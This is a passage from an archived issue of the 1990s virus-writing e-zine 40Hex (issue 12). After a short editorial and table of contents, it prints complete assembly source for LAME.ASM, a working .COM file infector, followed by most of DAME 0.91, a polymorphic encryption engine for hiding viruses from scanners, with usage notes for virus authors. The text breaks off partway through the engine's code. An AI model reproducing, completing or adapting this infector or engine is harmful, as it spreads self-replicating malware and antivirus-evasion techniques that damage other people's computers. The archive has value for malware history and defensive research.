home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / 40HEXX.ZIP / 40HEX012 < prev   
Text File  |  1998-01-21  |  246KB  |  5,907 lines

  1. 40Hex Number 12 Volume 3 Issue 3                                      File 000
  2.  
  3.     Welcome to 40Hex issue 12.  This issue confirms that we are no
  4. longer in our hibernation period (i.e. laziness).  We have been out of
  5. the virus scene for quite some time, due to physical circumstances
  6. beyond our control.  We have done a lot of reorganization, and trimmed
  7. our fat a little bit.  You can expect a lot from us in the upcoming
  8. year, and I can assure you, you won't be dissappointed.  Due to the
  9. large gap of time between issue 11 and issue 12, some of the information
  10. in here may be a little outdated.
  11.  
  12.     We are going to get a little bit more political then we used to be,
  13. but we will still keep cranking out the high quality technical
  14. information that you all enjoy. I would strongly recommend that you
  15. don't skip over the political parts of the magazine, because there are
  16. people who want to make laws that will affect every reader of this
  17. magazine.
  18.  
  19.     On a completely seperate note, we can now be reached via Internet.
  20. If you have any comments about the magazine, news articles, editorials,
  21. etc. we'd like to know, and we'll probably put all of the interesting
  22. letters into the magazine.  Email us at:
  23.  
  24. fortyhex@mindvox.phantom.com
  25.  
  26.  ->GHeap
  27.  
  28.                        Table Of Contents
  29.  
  30.         40Hex-12.000....................We're ba-ack
  31.         40Hex-12.001....................DAME Source 'Updated'
  32.         40Hex-12.002....................40Hex Hardcopy Rumors Confirmed
  33.         40Hex-12.003....................A Self Dis-Infecting .COM File
  34.         40Hex-12.004....................AIS BBS Commentary
  35.         40Hex-12.005....................Natas Virus By Priest
  36.         40Hex-12.006....................A Commentary by Sara Gordon
  37.         40Hex-12.007....................Nympho Mitosis 2.0 Debug Script
  38.         40Hex-12.008....................Viruses In The News
  39.         40Hex-12.009....................OS/2 Virus Source
  40.  
  41. Greets Fly out to: Urnst Kouch [And all other Crypt People], Nowhere Man,
  42. The Attitude Adjuster, Omega and all of TridenT, Arthur Ellis, and
  43. anyone else we may have forgotten.
  44.  
  45. 40Hex Number 12 Volume 3 Issue 3                                      File 001
  46.  
  47.         DAME, Revisited
  48.         By Dark Angel of Phalcon/Skism
  49.  
  50.         As many of you may have noticed, the DAME presented in the last
  51.         issue of 40Hex many moons ago had a few flaws, chief of which was
  52.         a problem with the prefetch queue.  Thanks to everyone who pointed
  53.         this out to me and jeers to Intel.  It was also a mite weak in the
  54.         code generated.  This version corrects several flaws present in the
  55.         original version.  See the source code for a more in-depth discussion
  56.         of the improvements.
  57.  
  58.         In this article, I present another lame virus to be linked with DAME.
  59.         The debug script is included at the end of the article and the source
  60.         code can be found following this short text.  Before attempting to
  61.         assemble the source code, note that it is broken up into two files:
  62.         LAME.ASM and DAME.ASM.  MAKE SURE YOU SEPARATE THEM FIRST!  Some
  63.         complained that the source code didn't assemble in the last issue;
  64.         that was simply because they didn't break up the files.
  65.  
  66.         DA
  67.  
  68. --Begin LAME.ASM---------------------------------------------------------------        .model  tiny
  69.         .code
  70.         .radix  16
  71.         org     100
  72.  
  73. start:  jmp     temp                    ; The next two lines will be patched in
  74. ;        cld                            ; DAME may have altered DF
  75. ;        mov     bx,ds
  76.         call    calc_off
  77.  
  78. old4    dw      20cdh, 0
  79. fmask   db      '*.com',0
  80. dmask   db      '..',0
  81.  
  82.         db  0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
  83.         db      'To demonstrate DAME 0.91',0Dh,0A,1a
  84.  
  85. vars    = 0
  86.         include dame.asm                ; include the code portion of DAME
  87.  
  88. calc_off:
  89.         pop     si
  90.         mov     ax,si
  91.         mov     cl,4
  92.         shr     ax,cl
  93.         sub     ax,10
  94.         add     ax,bx
  95.         mov     bx,offset enter_vir
  96.         push    ax bx
  97.         retf
  98.  
  99. enter_vir:
  100.         mov     di,100
  101.         push    es di es es
  102.         movsw
  103.         movsw
  104. enter_vir0:
  105.         push    cs cs
  106.         pop     es ds
  107.         mov     ah,1a
  108.         mov     dx,offset new_dta               ; set new DTA
  109.         int     21
  110.  
  111.         mov     ah,47
  112.         cwd
  113.         mov     si,offset old_path+1
  114.         mov     byte ptr [si-1],'\'
  115.         int     21
  116.  
  117.         mov     inf_cnt,4
  118.  
  119.         call    rnd_init_seed
  120. inf_dir:mov     ah,4e
  121.         mov     dx,offset fmask
  122. fnext:  int     21
  123.         jnc     inf_file
  124.  
  125.         mov     ah,3bh
  126.         mov     dx,offset dmask
  127.         int     21
  128.         jnc     inf_dir
  129. done_all:
  130.         mov     ah,3bh
  131.         mov     dx,offset old_path
  132.         int     21
  133.  
  134.         pop     es ds                           ; restore the DTA
  135.         mov     dx,80
  136.         mov     ah,1a
  137.         int     21
  138.  
  139.         retf                                    ; return to carrier
  140.  
  141. inf_file:
  142.         mov     ax,3d00
  143.         mov     dx,offset new_dta + 1e
  144.         int     21
  145.         jc      _fnext
  146.         xchg    ax,bx
  147.  
  148.         mov     ah,3f
  149.         mov     cx,4
  150.         mov     dx,offset old4
  151.         int     21
  152.  
  153.         mov     ah,3e
  154.         int     21
  155.  
  156.         cmp     old4,0e9fc
  157.         jz      _fnext
  158.         add     al,ah
  159.         cmp     al,'Z'+'M'
  160.         jz      _fnext
  161.         call    infect
  162.         dec     inf_cnt
  163.         jz      done_all
  164. _fnext:
  165.         mov     ah,4f
  166.         jmp     short fnext
  167.  
  168. infect: mov     ax,3d00
  169.         mov     dx,offset new_dta + 1e
  170.         int     21
  171.         push    ax
  172.         xchg    ax,bx
  173.  
  174.         mov     ax,1220
  175.         int     2f
  176.  
  177.         mov     ax,1216
  178.         mov     bl,es:di
  179.         mov     bh,0
  180.         int     2f
  181.  
  182.         pop     bx
  183.  
  184.         mov     word ptr es:[di+2],2
  185.  
  186.         mov     ax,es:[di+11]
  187.         mov     bp,ax
  188.         mov     cx,4
  189.         sub     ax,cx
  190.         mov     patch,ax
  191.  
  192.         mov     ah,40
  193.         mov     dx,offset oFCE9
  194.         int     21
  195.  
  196.         mov     word ptr es:[di+15],bp
  197.  
  198.         push    es di cs
  199.         pop     es
  200.  
  201.         mov     si,100
  202.         mov     di,offset copyvirus
  203.         mov     cx,(heap - start + 1)/2
  204.         rep     movsw
  205.  
  206.         mov     ax,0000000000001011b
  207.         mov     dx,offset copyvirus
  208.         mov     cx,heap - start
  209.         mov     si,offset _decryptbuffer
  210.         mov     di,offset _encryptbuffer
  211.         push    dx bx si
  212.         mov     bx,bp
  213.         inc     bh
  214.         call    dame
  215.  
  216.         mov     ah,40
  217.         pop     dx bx
  218.         int     21
  219.  
  220.         mov     ah,40
  221.         mov     cx,heap - start
  222.         pop     dx
  223.         int     21
  224.  
  225.         pop     di es
  226.         or      byte ptr es:[di+6],40
  227.  
  228.         mov     ah,3e
  229.         int     21
  230.  
  231.         retn
  232.  
  233. oFCE9   dw      0e9fc
  234. heap:
  235. patch   dw      ?
  236. inf_cnt db      ?
  237.  
  238. vars    = 1
  239.         include dame.asm        ; include the heap portion of DAME
  240.  
  241. old_path        db       41 dup (?)
  242. new_dta         db       2c dup (?)
  243. _encryptbuffer: db       80 dup (?)
  244. _decryptbuffer: db      1a0 dup (?)
  245. copyvirus       db      heap - start + 20 dup (?)
  246.  
  247. temp:   mov     byte ptr ds:[100],0fc
  248.         mov     word ptr ds:[101],0db8c
  249.         xor     di,di
  250.         push    cs di cs cs
  251.         jmp     enter_vir0
  252.  
  253.         end     start
  254. --End LAME.ASM--Begin DAME.ASM-------------------------------------------------
  255. comment #
  256.  
  257.                         Dark Angel's Multiple Encryptor
  258.                                  Version 0.91
  259.                         By Dark Angel of Phalcon/Skism
  260.  
  261.         This source may be freely distributed.  Modifications are
  262.         encouraged and modified redistribution is allowed provided
  263.         this notice and the revision history to date are not altered.
  264.         You are free to append to the revision history and update the
  265.         usage information.
  266.  
  267.  Welcome to the source code for Dark Angel's Multiple Encryptor.
  268.  I, Dark Angel, will be your host for this short excursion through
  269.  a pretty nifty encryptor.
  270.  
  271.  DAME 0.90 (1574 bytes)
  272.  ~~~~ ~~~~ ~~~~~~~~~~~~
  273.    Initial release.
  274.  
  275.  DAME 0.91 (1960 bytes)
  276.  ~~~~ ~~~~ ~~~~~~~~~~~~
  277.    Source code commented.
  278.  
  279.    The user no longer needs to call the encryption routine manually;
  280.    the routine calls it automatically.  This makes DAME a bit more
  281.    "user friendly."
  282.  
  283.    Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
  284.    is now supported.
  285.  
  286.    Added "double-reference" encryptions.  Example:
  287.         mov     ax,[bx+3212]
  288.         xor     ax,3213
  289.         mov     [bx+3212],ax
  290.  
  291.    There is now a bitflag option to generate a decryptor which will transfer
  292.    control to the buffer on a paragraph boundary.
  293.  
  294.    There is now a 1% chance that no encryption will be encoded when
  295.    the "do_encrypt1" routine is called.  Of course, null effect
  296.    encryptors may still be generated.
  297.  
  298.    garble_jmpcond is much more robust.  It can now put valid instructions
  299.    between the conditional jump and the target of the jump.  Therefore,
  300.    there is no longer a multitude of JZ $+2's and the like.  Instead, they
  301.    are replaced by JZ $+4, XOR BX,BX, for example.
  302.  
  303.    The register tracker is cleared after the loop is completed.  This makes
  304.    sense, since the registers are no longer needed.  This also allows for the
  305.    manipulation of those used registers in the garbling after the loop is
  306.    completed.
  307.  
  308.    Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
  309.    MOVes added.  Memory PUSHes and POPs are now supported.
  310.  
  311.    The maximum nesting value is now the variable _maxnest, which can range
  312.    from 0 to MAXNEST.  _maxnest is determined randomly at runtime.  This makes
  313.    the decryption routines a bit more interesting.  _nest is also cleared more
  314.    times during the run so that variability is continuous throughout.
  315.  
  316.    Short decryptor option added.  This is automatically used when generating
  317.    the encryptor so the encryptor will always be of minimal length.
  318.  
  319.    More alignments are now possible.  This makes the initial values of the
  320.    registers more flexible.
  321.  
  322.    BUG FIXES:
  323.  
  324.    BP is now preserved on exit
  325.  
  326.    Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
  327.    See routine named "clear_PIQ"
  328.  
  329.    Loopnz routines had possibility of not working properly; instruction
  330.    eliminated.
  331.  
  332.    NOTES:
  333.  
  334.    I forgot to give credit to the person from whom I stole the random number
  335.    routines.  I took them from the routine embedded in TPE 1.x (I misremember
  336.    the version number).  Many thanks to Masud Khafir!
  337.  
  338.    USAGE:
  339.  
  340.    ON ENTRY:
  341.      ax = flags
  342.        bit 15 : Use two registers for pointer : 0 = no, 1 = yes
  343.        bit 14 : Align size : 0 = word, 1 = dword
  344.        bit 13 : Encryption direction : 0 = forwards, 1 = backwards
  345.        bit 12 : Counter direction : 0 = forwards, 1 = backwards
  346.        bit 11 : Counter register used : 0 = no, 1 = yes
  347.        bit 10 : Temporary storage for double reference
  348.        bit  9 : Unused
  349.        bit  8 : Unused
  350.        bit  7 : Unused
  351.        bit  6 : Unused
  352.        bit  5 : Unused
  353.        bit  4 : Unused
  354.        bit  3 : return control on paragraph boundary : 1 = yes, 0 = no
  355.        bit  2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
  356.        bit  1 : garble : 1 = yes, 0 = no
  357.        bit  0 : SS = DS = CS : 1 = yes, 0 = no
  358.      bx = start decrypt in carrier file
  359.      cx = encrypt length
  360.      dx = start encrypt
  361.      si = buffer to put decryption routine
  362.      di = buffer to put encryption routine
  363.  
  364.      ds = cs on entry
  365.      es = cs on entry
  366.  
  367.    RETURNS:
  368.      cx = decryption routine length
  369.      DF cleared
  370.      all other registers are preserved.
  371.      The RADIX is set to 16d.
  372.  
  373.    NOTES:
  374.  
  375.    rnd_init_seed is _not_ called by DAME.  The user must explicitly call it.
  376.  
  377.    The buffer containing the routine to be encrypted should be 20 bytes
  378.    larger than the size of the routine.  This allows padding to work.
  379.  
  380.    The decryption routine buffer should be rather large to accomodate the
  381.    large decryptors which may be generated.
  382.  
  383.    The encryption routine buffer need not be very large; 80h bytes should
  384.    suffice.  90d bytes is probably enough, but this value is untested.
  385. #
  386.  
  387. .radix 10h
  388.  
  389. ifndef vars
  390.         vars = 2
  391. endif
  392.  
  393. if not vars eq 1        ; if (vars != 1)
  394.  
  395. _ax = 0
  396. _cx = 1
  397. _dx = 2
  398. _bx = 3
  399. _sp = 4
  400. _bp = 5
  401. _si = 6
  402. _di = 7
  403.  
  404. _es = 8
  405. _cs = 9
  406. _ss = 0a
  407. _ds = 0bh
  408.  
  409. ; The constant MAXNEST determines the maximum possible level of nesting
  410. ; possible in any generated routine.  If the value is too large, then
  411. ; recursion problems will cause a stack overflow and the program will
  412. ; crash.  So don't be too greedy.  0Ah is a safe value to use for non-
  413. ; resident viruses.  Use smaller values for resident viruses.
  414. ifndef MAXNEST          ; User may define MAXNEST prior to including
  415.         MAXNEST = 0a    ; the DAME source code. The user's value will
  416. endif                   ; then take precedence
  417.  
  418. rnd_init_seed:
  419.         push    dx cx bx
  420.         mov     ah,2C                   ; get time
  421.         int     21
  422.  
  423.         in      al,40                   ; port 40h, 8253 timer 0 clock
  424.         mov     ah,al
  425.         in      al,40                   ; port 40h, 8253 timer 0 clock
  426.         xor     ax,cx
  427.         xor     dx,ax
  428.         jmp     short rnd_get_loop_done
  429. get_rand:
  430.         push    dx cx bx
  431.         in      al,40                   ; get from timer 0 clock
  432.         db      5 ; add ax, xxxx
  433. rnd_get_patch1  dw      0
  434.                 db      0BA  ; mov dx, xxxx
  435. rnd_get_patch2  dw      0
  436.         mov     cx,7
  437.  
  438. rnd_get_loop:
  439.         shl     ax,1
  440.         rcl     dx,1
  441.         mov     bl,al
  442.         xor     bl,dh
  443.         jns     rnd_get_loop_loc
  444.         inc     al
  445. rnd_get_loop_loc:
  446.         loop    rnd_get_loop
  447.  
  448. rnd_get_loop_done:
  449.         mov     rnd_get_patch1,ax
  450.         mov     rnd_get_patch2,dx
  451.         mov     al,dl
  452.         pop     bx cx dx
  453.         retn
  454.  
  455. reg_table1:
  456.               ; reg1 reg2 mod/00/rm   This is used to handle memory addressing
  457.         db       _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
  458.         db       _bp, 84, 10000110b ; if (reg2 == 84)
  459.         db       _di, 84, 10000101b ;    reg2 = NULL;
  460.         db       _si, 84, 10000100b
  461.  
  462.         db      _bp, _di, 10000011b
  463.         db      _bp, _si, 10000010b
  464.         db      _bx, _di, 10000001b
  465.         db      _bx, _si, 10000000b
  466.         db      _di, _bp, 10000011b
  467.         db      _si, _bp, 10000010b
  468.         db      _di, _bx, 10000001b
  469.         db      _si, _bx, 10000000b
  470.  
  471. aligntable      db      3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks
  472.  
  473. redo_dame:
  474.         pop     di bp si dx cx bx ax
  475. dame:   ; Dark Angel's Multiple Encryptor
  476.         cld
  477.         push    ax bx cx dx si bp di
  478.         call    _dame
  479.         pop     di
  480.         push    cx di
  481.         call    di
  482.         pop     di cx bp si dx bx bx ax
  483.         ret
  484.  
  485. _dame:  ; set up initial values of the variables
  486.         cld
  487.         push    ax
  488.  
  489.         mov     ax,offset _encryptpointer
  490.         xchg    ax,di                           ; save the pointer to the
  491.         stosw                                   ; encryption routine buffer
  492.         xchg    si,ax                           ; also save the pointer to
  493.         stosw                                   ; the decryption routine
  494.                                                 ; buffer in the same manner
  495.         stosw
  496.  
  497.         xchg    ax,dx                           ; starting offset of
  498.         stosw                                   ; encryption
  499.         xchg    ax,bx                           ; starting offset of
  500.         stosw                                   ; decryption routine
  501.  
  502.         xchg    cx,dx                           ; dx = encrypt size
  503.  
  504.         xor     ax,ax
  505.         mov     cx,(endclear1 - beginclear1) / 2; clear additional data
  506.         rep     stosw                           ; area
  507.  
  508.         call    get_rand                        ; get a random number
  509.         and     ax,not 0f                       ; clear user-defined bits
  510.  
  511.         pop     cx                              ; cx = bitmask
  512.         xor     cx,ax                           ; randomize top bits
  513.  
  514.         call    get_rand_bx                     ; get a random number
  515.         and     bx,7                            ; and lookup in the table
  516.         mov     al,byte ptr [bx+aligntable]     ; for a random rounding size
  517.         cbw
  518.         add     dx,ax                           ; round the encryption
  519.         not     ax                              ; size to next word, dword,
  520.         and     dx,ax                           ; etc.
  521.  
  522.         mov     ax,dx                           ; save the new encryption
  523.         stosw                                   ; length (_encrypt_length)
  524.  
  525.         shr     ax,1                            ; convert to words
  526.         test    ch,40                           ; encrypting double wordly?
  527.         jz      word_encryption                 ; nope, only wordly encryption
  528.         shr     ax,1                            ; convert to double words
  529. word_encryption:                                ; all the worldly encryption
  530.         test    ch,10                           ; shall do thee no good, my
  531.         jnz     counter_backwards               ; child, lest you repent for
  532.         neg     ax                              ; the sins of those who would
  533. counter_backwards:                              ; bring harm unto others
  534.         stosw                                   ; save _counter_value
  535.         push    dx                              ; Save rounded length
  536.  
  537.         call    get_rand                        ; get a random value for the
  538.         stosw                                   ; encryption value
  539.                                                 ; (_decrypt_value)
  540.         pop     ax                              ; get rounded encryption length
  541.                                                 ; in bytes
  542.         test    ch,20                           ; is the encryption to run
  543.         jnz     encrypt_forwards                ; forwards or backwards?
  544.         neg     ax                              ; Adjust for forwards
  545. encrypt_forwards:
  546.         xor     bx,bx                           ; Assume pointer_value2 = 0
  547.  
  548.         test    ch,80                           ; Dual pointer registers?
  549.         jz      no_dual
  550.         call    get_rand_bx
  551.         sub     ax,bx
  552. no_dual:stosw                                   ; Save the pointers to the
  553.         xchg    ax,bx                           ; decryption (_pointer_value1
  554.         stosw                                   ; and _pointer_value2)
  555.  
  556. ; The following lines determine the registers that go with each function.
  557. ; There are a maximum of four variable registers in each generated
  558. ; encryption/decryption routine pair -- the counter, two pointer registers,
  559. ; and an encryption value register.  Only one pointer register need be present
  560. ; in the pair; the other three registers are present only if they are needed.
  561.  
  562. s0:     call    clear_used_regs                 
  563.         mov     di,offset _counter_reg
  564.         mov     al,84                           ; Assume no counter register
  565.         test    ch,8                            ; Using a counter register?
  566.         jz      s1
  567.         call    get_rand                        ; get a random initial value
  568.         mov     _pointer_value1,ax              ; for the pointer register
  569.         call    get_another                     ; get a counter register
  570. s1:     stosb                                   ; Store the counter register
  571.  
  572.         xchg    ax,dx
  573.  
  574.         mov     al,84                           ; Assume no encryption register
  575.         call    one_in_two                      ; 50% change of having an
  576.         js      s2                              ; encryption register
  577.                                                 ; Note: This merely serves as
  578.                                                 ; an extra register and may or
  579.                                                 ; may not be used as the
  580.                                                 ; encryption register.
  581.         call    get_another                     ; get a register to serve as
  582. s2:     stosb                                   ; the encryption register
  583.  
  584.         cmp     ax,dx                           ; normalise counter/encryption
  585.         ja      s3                              ; register pair so that the
  586.         xchg    ax,dx                           ; smaller one is always in the  
  587. s3:     mov     ah,dl                           ; high byte
  588.         cmp     ax,305                          ; both BX and BP used?
  589.         jz      s0                              ; then try again
  590.         cmp     ax,607                          ; both SI and DI used?
  591.         jz      s0                              ; try once more
  592.  
  593. s4:     mov     si,offset reg_table1            ; Use the table
  594.         mov     ax,3                            ; Assume one pointer register
  595.         test    ch,80                           ; Using two registers?
  596.         jz      use_one_pointer_reg
  597.         add     si,4*3                          ; Go to two register table
  598.         add     al,4                            ; Then use appropriate mask
  599. use_one_pointer_reg:
  600.         call    get_rand_bx                     ; Get a random value
  601.         and     bx,ax                           ; Apply mask to it
  602.         add     si,bx                           ; Adjust table offset
  603.         add     bx,bx                           ; Double the mask
  604.         add     si,bx                           ; Now table offset is right
  605.         lodsw                                   ; Get the random register pair
  606.         mov     bx,ax                           ; Check if the register in the
  607.         and     bx,7                            ; low byte is already used
  608.         cmp     byte ptr [bx+_used_regs],0
  609.         jnz     s4                              ; If so, try again
  610.         mov     bl,ah                           ; Otherwise, check if there is
  611.         or      bl,bl                           ; a register in the high byte
  612.         js      s5                              ; If not, we are done
  613.         cmp     byte ptr [bx+_used_regs],0      ; Otherwise, check if it is
  614.         jnz     s4                              ; already used
  615. s5:     stosw                                   ; Store _pointer_reg1, 
  616.         movsb                                   ; _pointer_reg2, and 
  617.                                                 ; _pointer_rm
  618. calculate_maxnest:
  619.         call    get_rand                        ; Random value for _maxnest
  620.         and     al,0f                           ; from 0 to MAXNEST
  621.         cmp     al,MAXNEST                      ; Is it too large?
  622.         ja      calculate_maxnest               ; If so, try again
  623.         stosb                                   ; Otherwise, we have _maxnest
  624.  
  625.         call    clear_used_regs                 ; mark no registers used
  626. encode_setup:                                   ; encode setup portion
  627.         mov     di,_decryptpointer              ; (pre-loop) of the routines
  628.         call    twogarble                       ; start by doing some garbling
  629.                                                 ; on the decryption routine
  630.         mov     si,offset _counter_reg          ; now move the initial
  631.         push    si                              ; values into each variable
  632. encode_setup_get_another:                       ; register -- encode them in a
  633.         call    get_rand_bx                     ; random order for further
  634.                                                 ; variability
  635.         and     bx,3                            ; get a random register to en-
  636.         mov     al,[si+bx]                      ; code, i.e. counter, pointer,
  637.         cbw                                     ; or encryption value register
  638.         test    al,80                           ; is it already encoded?
  639.         jnz     encode_setup_get_another        ; then get another register
  640.  
  641.         or      byte ptr [bx+_counter_reg],80   ; mark it encoded in both the
  642.         mov     si,ax                           ; local and
  643.         inc     byte ptr [si+_used_regs]        ; master areas
  644.  
  645.         add     bx,bx                           ; convert to word offset
  646.         mov     dx,word ptr [bx+_counter_value] ; find value to set the
  647.                                                 ; register to
  648.         mov     _nest,0                         ; clear the current nest count
  649.         call    mov_reg_xxxx                    ; and encode decryption routine
  650.                                                 ; instruction
  651.         call    twogarble                       ; garble it some more
  652.         call    swap_decrypt_encrypt            ; now work on the encryption
  653.                                                 ; routine
  654.         push    cx                              ; save the current bitmap
  655.         and     cl,not 7                        ; encode short routines only
  656.         call    _mov_reg_xxxx                   ; encode the encryption routine
  657.                                                 ; instruction
  658.         pop     cx                              ; restore bitmap
  659.  
  660.         mov     _encryptpointer,di              ; return attention to the
  661.                                                 ; decryption routine
  662.         pop     si
  663.         mov     dx,4
  664. encode_setup_check_if_done:                     ; check if all the variables
  665.                                                 ; have been encoded
  666.         lodsb                                   ; get the variable
  667.         test    al,80                           ; is it encoded?
  668.         jz      encode_setup                    ; nope, so continue encoding
  669.         dec     dx                              ; else check the next variable
  670.         jnz     encode_setup_check_if_done      ; loop upwards
  671.  
  672.         mov     si,offset _encryptpointer       ; Save the addresses of the 
  673.         mov     di,offset _loopstartencrypt     ; beginning of the loop in
  674.         movsw                                   ; the encryption and decryption
  675.         movsw                                   ; routines
  676.  
  677. ; Encode the encryption/decryption part of loop
  678.         mov     _relocate_amt,0                 ; reset relocation amount
  679.         call    do_encrypt1                     ; encode encryption
  680.  
  681.         test    ch,40                           ; dword encryption?
  682.         jz      dont_encrypt2                   ; nope, skip
  683.  
  684.         mov     _relocate_amt,2                 ; handle next word to encrypt
  685.         call    do_encrypt1                     ; and encrypt!
  686. dont_encrypt2:
  687. ; Now we are finished encoding the decryption part of the loop.  All that
  688. ; remains is to encode the loop instruction, garble some more, and patch
  689. ; the memory manipulation instructions so they encrypt/decrypt the proper
  690. ; memory locations.
  691.         mov     bx,offset _loopstartencrypt     ; first work on the encryption
  692.         push    cx                              ; save the bitmap
  693.         and     cl,not 7                        ; disable garbling/big routines
  694.         call    encodejmp                       ; encode the jmp instruction
  695.         pop     cx                              ; restore the bitmap
  696.  
  697.         mov     ax,0c3fc ; cld, ret             ; encode return instruction
  698.         stosw                                   ; in the encryption routine
  699.  
  700.         mov     si,offset _encrypt_relocator    ; now fix the memory
  701.         mov     di,_start_encrypt               ; manipulation instructions
  702.  
  703.         push    cx                              ; cx is not auto-preserved
  704.         call    relocate                        ; fix address references
  705.         pop     cx                              ; restore cx
  706.  
  707.         mov     bx,offset _loopstartdecrypt     ; Now work on decryption
  708.         call    encodejmp                       ; Encode the jmp instruction
  709.         push    di                              ; Save the current pointer
  710.         call    clear_used_regs                 ; Mark all registers unused
  711.         pop     di                              ; Restore the pointer
  712.         call    twogarble                       ; Garble some more
  713.         test    cl,8                            ; Paragraph alignment on
  714.         jnz     align_paragraph                 ; entry to virus?
  715.         test    ch,20                           ; If it is a backwards
  716.         jz      no_clear_prefetch               ; decryption, then flush the
  717.         call    clear_PIQ                       ; prefetch queue (for 386+)
  718. no_clear_prefetch:                              ; Curse the PIQ!!!!!
  719.         call    twogarble                       ; Garble: the final chapter
  720.         jmp     short PIQ_done
  721. align_paragraph:
  722.         mov     dx,di                           ; Get current pointer location
  723.         sub     dx,_decryptpointer2             ; Calculate offset when control
  724.         add     dx,_start_decrypt               ; is transfered to the carrier
  725.         inc     dx                              ; Adjust for the JMP SHORT
  726.         inc     dx
  727.         neg     dx
  728.         and     dx,0f                           ; Align on the next paragraph
  729.         cmp     dl,10-2                         ; Do we need to JMP?
  730.         jnz     $+7                             ; Yes, do it now
  731.         test    ch,20                           ; Otherwise, check if we need
  732.         jz      PIQ_done                        ; to clear the prefetch anyway
  733.         call    clear_PIQ_jmp_short             ; Encode the JMP SHORT
  734. PIQ_done:
  735.         mov     _decryptpointer,di
  736.  
  737.         mov     si,offset _decrypt_relocator    ; Calculate relocation amount
  738.         sub     di,_decryptpointer2
  739.         add     di,_start_decrypt
  740. relocate:
  741.         test    ch,20                           ; Encrypting forwards or
  742.         jz      do_encrypt_backwards            ; backwards?
  743.         add     di,_encrypt_length              ; Backwards is /<0oI_
  744. do_encrypt_backwards:                           ; uh huh uh huh uh huh
  745.         sub     di,_pointer_value1              ; Calculate relocation amount
  746.         sub     di,_pointer_value2
  747.         mov     cx,word ptr [si-2]              ; Get relocation count
  748.         jcxz    exit_relocate                   ; Exit if nothing to do
  749.         xchg    ax,di                           ; Otherwise we be in business
  750. relocate_loop:                                  ; Here we go, yo
  751.         xchg    ax,di
  752.         lodsw                                   ; Get address to relocate
  753.         xchg    ax,di
  754.         add     [di],ax                         ; Relocate mah arse!
  755.         loop    relocate_loop                   ; Do it again 7 times
  756. exit_relocate:                                  ; ('cause that makes 8)
  757.         mov     di,_decryptpointer              ; Calculate the decryption
  758.         mov     cx,di                           ; routine size to pass
  759.         sub     cx,_decryptpointer2             ; back to the caller
  760.         ret
  761.  
  762. encodejmp:
  763.         mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]
  764.  
  765.         push    bx
  766.         mov     _nest,0                         ; Reset nest count
  767.         mov     al,_pointer_reg1                ; Get the pointer register
  768.         and     ax,7                            ; Mask out any modifications
  769.         mov     dx,2                            ; Assume word encryption
  770.         test    ch,40                           ; Word or Dword?
  771.         jz      update_pointer1
  772.         shl     dx,1                            ; Adjust for Dword encryption
  773. update_pointer1:
  774.         test    ch,20                           ; Forwards or backwards?
  775.         jz      update_pointer2
  776.         neg     dx                              ; Adjust for backwards
  777. update_pointer2:
  778.         test    ch,80                           ; Are there two pointers?
  779.         jz      update_pointer_now              ; Continue only if so
  780.  
  781.         sar     dx,1                            ; Halve the add value
  782.         push    ax                              ; Save register to add
  783.         call    add_reg_xxxx                    ; Add to first register
  784.         mov     al,_pointer_reg2
  785.         and     ax,7                            ; Add to the second pointer
  786.         call    add_reg_xxxx                    ; register
  787.         pop     bx
  788.         test    ch,8                            ; Using a counter register?
  789.         jnz     update_pointer_done             ; If not, continue this
  790.  
  791.         push    bx                              ; Save first register
  792.         xchg    ax,dx                           ; Move second register to DX
  793.         call    get_another                     ; Get new register regX
  794.         call    mov_reg_reg                     ; MOV regX, _pointer_reg2
  795.         pop     dx                              ; Restore first register
  796.         call    add_reg_reg                     ; ADD regX, _pointer_reg1
  797.         call    clear_reg                       ; Clear the temp register
  798.         jmp     short update_pointer_done       ; Skip adjustment of pointer
  799.                                                 ; register (already done)
  800. update_pointer_now:
  801.         call    add_reg_xxxx                    ; Adjust pointer register
  802. update_pointer_done:
  803.         mov     dl,75                           ; Assume JNZ
  804.  
  805.         mov     al,_counter_reg                 ; Is there a counter register?
  806.         and     ax,7
  807.         cmp     al,_sp
  808.         jz      do_jnz
  809.  
  810.         push    dx                              ; Save JNZ
  811.         mov     dx,1                            ; Assume adjustment of one
  812.  
  813.         test    ch,10                           ; Check counter direction
  814.         jz      go_counter_forwards             ; If forwards, increment the
  815.                                                 ; counter
  816.         cmp     al,_cx                          ; Check if the counter is CX
  817.         jnz     regular                         ; If not, then decrement the
  818.                                                 ; counter and continue
  819.         call    one_in_two                      ; Otherwise, there is a 50%
  820.         js      regular                         ; chance of using a LOOP
  821.  
  822.         pop     dx
  823.         mov     dl,0e2                          ; let us encode the LOOP
  824.         jmp     short do_jnz
  825.  
  826. regular:neg     dx
  827. go_counter_forwards:
  828.         call    add_reg_xxxx                    ; Adjust counter register
  829.         pop     dx
  830. do_jnz: pop     bx
  831.         mov     ax,[bx]                         ; Calculate value to JNZ/LOOP
  832.         sub     ax,di                           ; back
  833.         dec     ax
  834.         dec     ax
  835.         xchg    ah,al                           ; Value is in AL
  836.         mov     al,dl   ; jnz
  837.  
  838.         or      ah,ah                           ; Value >= 128?  If so, it is
  839.         js      jmplocation_okay                ; impossible to JNZ/LOOP there
  840.                                                 ; due to stupid 8086 limitation
  841.         pop     ax ax                           ; Take return locations off
  842.         jmp     redo_dame                       ; the stack and encode again
  843. jmplocation_okay:
  844.         stosw                                   ; Encode JNZ/LOOP instruction
  845.         mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
  846.         ret                                     ; Save current location
  847.  
  848. encryption:
  849. ; This routine encodes the instruction which actually manipulates the memory
  850. ; location pointed to by the pointer register.
  851.         and     ch,not 4                        ; Default = no double reference
  852.         call    one_in_two                      ; But there is a 50% chance of
  853.         js      not_double_reference            ; using a double reference
  854.         or      ch,4                            ; Yes, we are indeed using it
  855. not_double_reference:
  856.         mov     di,_decryptpointer              ; Set the registers to work
  857.         mov     bp,offset _decrypt_relocate_num ; with the decryption routine
  858.         call    twogarble                       ; Insert some null instructions
  859.  
  860.         xor     ax,ax                           ; Get the value for the rm
  861.         mov     al,_pointer_rm                  ; field corresponding to the
  862.                                                 ; pointer register/s used
